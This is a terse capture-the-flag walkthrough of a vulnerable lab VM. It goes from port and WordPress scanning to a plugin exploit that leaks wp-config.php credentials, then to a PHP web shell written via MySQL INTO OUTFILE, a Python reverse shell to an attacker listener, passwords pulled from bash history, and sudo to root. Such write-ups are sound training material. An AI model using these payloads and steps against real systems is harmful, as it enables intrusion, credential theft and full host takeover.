Recon Phase:

$ nmap -p 1-65535 -T4 -A -v 192.168.190.131
$ dirb https://192.168.190.131:12380 -R
$ nikto -host 192.168.190.131:12380
Let's scan workpress
$ wpscan --disable-tls-checks --url https://192.168.190.131:12380/blogblog/ --enumerate u
$ wpscan --disable-tls-checks --url https://192.168.190.131:12380/blogblog/ --enumerate p
========================================
found SQL injection vulnerabilities 

search in eploitdb 
searchsploit wordpress advanced video

$ cat /usr/share/exploitdb/platforms/php/webapps/39646.py

edit the script to the wordpress ip and folder 
then execute 

then go to https://192.168.190.131:12380/blogblog/wp-content/uploads/
and download the image 520019578.jpeg

cat 520019578.jpeg
-------------
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:');
define('SECURE_AUTH_KEY',  'vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2');
define('LOGGED_IN_KEY',    'ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;zu@tM7P:4o');
define('NONCE_KEY',        'j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO');
define('AUTH_SALT',        'I{gDlDs`Z@.+/AdyzYw4%+<WsO-LDBHT}>}!||Xrf@1E6jJNV={p1?yMKYec*OI$');
define('SECURE_AUTH_SALT', '.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D');
define('LOGGED_IN_SALT',   '[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;');
define('NONCE_SALT',       'tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ');

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 */
define('WP_DEBUG', false);

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
	define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

define('WP_HTTP_BLOCK_EXTERNAL', true);
----
then 
$ mysql -u root -p -h 192.168.190.131

$ use wordpress;

you can inject php shell here 
$ mysql> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";

then you can use it 
https://192.168.190.131:12380/blogblog/wp-content/uploads/shell.php?cmd=pwd

now lets establish a reverse connection 

on machine 
$ nc -lvp 80

and from the php shell 
?cmd=python%20-c%20'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.1",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

from nc 

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ find -name ".bash_history" -exec cat {} \;

=====
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
=====

i tried access with peter and password JZQuyIN5 via ssh 

then i changed the shell 

$ sudo usermod -s /bin/bash peter
$ sudo -i
$ cd /root
$ ls
$ cat flag.txt

~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b


=======================
you can also 
after accessing wordpress database 
then choose user john and crack the hash it will be "incorrect"
access to wordpress with user "john" and password "incorrect"
then navigate to add plugins and then upload your shell and you ll find it in 
/blogblog/wp-content/uploads

then use nc as a listener to establish the connection   

after that you can also use this https://bugs.chromium.org/p/project-zero/issues/detail?id=808  as a priv esclation

Done !